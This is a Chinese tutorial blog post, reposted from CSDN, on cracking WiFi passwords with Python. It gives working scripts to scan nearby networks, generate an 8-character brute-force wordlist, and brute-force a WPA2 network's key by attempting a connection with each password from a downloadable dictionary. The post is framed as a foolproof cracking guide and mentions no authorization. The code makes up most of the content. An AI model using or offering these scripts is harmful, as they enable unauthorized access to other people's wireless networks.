首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

python无脑破解wifi密码傻瓜式

  • 25-04-24 08:01
  • 2390
  • 12832
blog.csdn.net

前言

出于

实验步骤

利用命令行安装pywifi模块

pip install pywifi

查看pip是否安装成功

pip -V

一、扫描WIFI模块

  1. import pywifi
  2. import time
  3. # 初始化 pywifi
  4. wifi = pywifi.PyWiFi()
  5. # 获取第一个无线网卡接口
  6. interface = wifi.interfaces()[0]
  7. # 开始扫描
  8. interface.scan()
  9. print('扫描WiFi中,请稍后………………')
  10. # 等待扫描完成
  11. time.sleep(10) # 根据实际情况可能需要更长的时间来完成扫描
  12. # 获取扫描结果
  13. scan_results = interface.scan_results()
  14. # 打印扫描结果
  15. print('扫描完成!\n' + '*' * 50)
  16. print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
  17. index = 0
  18. for result in scan_results:
  19. # 解决SSID乱码问题
  20. ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8')
  21. signal = result.signal
  22. print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid))
  23. index += 1
  24. print('\n' + '*' * 50)

成功页面

二、爆破字典

1.自己生成不建议(大概有100G左右)生成时间长

以下是生成字典脚本

  1. import itertools as its
  2. import datetime
  3. # 记录程序运行时间
  4. start = datetime.datetime.now()
  5. words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 大小写字母 + 数字 组合
  6. # words = '0123456789' # 纯数字
  7. # 生成密码的位数
  8. r = its.product(words, repeat=8) # 即生成8位密码,正常情况下热点密码位数为8
  9. dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt 是密码本名称
  10. for i in r:
  11. dic.write(''.join(i))
  12. dic.write(''.join('\n'))
  13. print(i)
  14. dic.close()
  15. print('密码本生成好了')
  16. end = datetime.datetime.now()
  17. print("生成密码本一共用了多长时间:{}".format(end - start))

2.下载字典

迅雷下载

Gitee下载

三、爆破脚本

需要修改处已做注释!

  1. # coding:utf-8
  2. import pywifi
  3. from pywifi import const
  4. import time
  5. import datetime
  6. # 全局初始化,避免重复创建实例
  7. wifi = pywifi.PyWiFi()
  8. iface = wifi.interfaces()[0] if wifi.interfaces() else None
  9. def wifi_connect(pwd):
  10. if not iface:
  11. print("未找到无线网卡!")
  12. return False
  13. # 断开当前连接
  14. iface.disconnect()
  15. time.sleep(1)
  16. # 确保网卡处于断开状态
  17. if iface.status() != const.IFACE_DISCONNECTED:
  18. print("无法断开当前连接")
  19. return False
  20. # 创建新的配置文件
  21. profile = pywifi.Profile()
  22. profile.ssid = "iPhone1" # 修改为你的WiFi名称
  23. profile.auth = const.AUTH_ALG_OPEN
  24. profile.akm.append(const.AKM_TYPE_WPA2PSK)
  25. profile.cipher = const.CIPHER_TYPE_CCMP
  26. profile.key = pwd.strip() # 去除密码前后的空格和换行符
  27. # 清理旧配置
  28. iface.remove_all_network_profiles()
  29. try:
  30. # 添加新配置并尝试连接
  31. tmp_profile = iface.add_network_profile(profile)
  32. iface.connect(tmp_profile)
  33. # 增加连接等待时间(根据网络响应调整)
  34. time.sleep(5)
  35. return iface.status() == const.IFACE_CONNECTED
  36. except Exception as e:
  37. print(f"连接时发生异常: {e}")
  38. return False
  39. def read_password():
  40. print("开始破解...")
  41. path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt" # 需要修改成你字典所在位置
  42. try:
  43. with open(path, "r") as f:
  44. passwords = [line.strip() for line in f.readlines() if line.strip()]
  45. except Exception as e:
  46. print(f"无法读取密码文件: {e}")
  47. return
  48. total = len(passwords)
  49. start_time = datetime.datetime.now()
  50. for idx, pwd in enumerate(passwords, 1):
  51. print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}")
  52. # 增加重试机制
  53. retry = 0
  54. while retry < 2: # 最多重试2次
  55. if wifi_connect(pwd):
  56. print(f"\n破解成功!密码为: {pwd}")
  57. print(f"总耗时: {datetime.datetime.now() - start_time}")
  58. return
  59. else:
  60. retry += 1
  61. time.sleep(2) # 失败后等待2秒再重试
  62. print("\n密码字典无匹配项!")
  63. if __name__ == "__main__":
  64. read_password()

成功页面

完整代码及字典

迅雷下载

注:本文转载自blog.csdn.net的牛了爷爷的文章"https://blog.csdn.net/weixin_75168674/article/details/145946030"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

108
Python
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2024 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top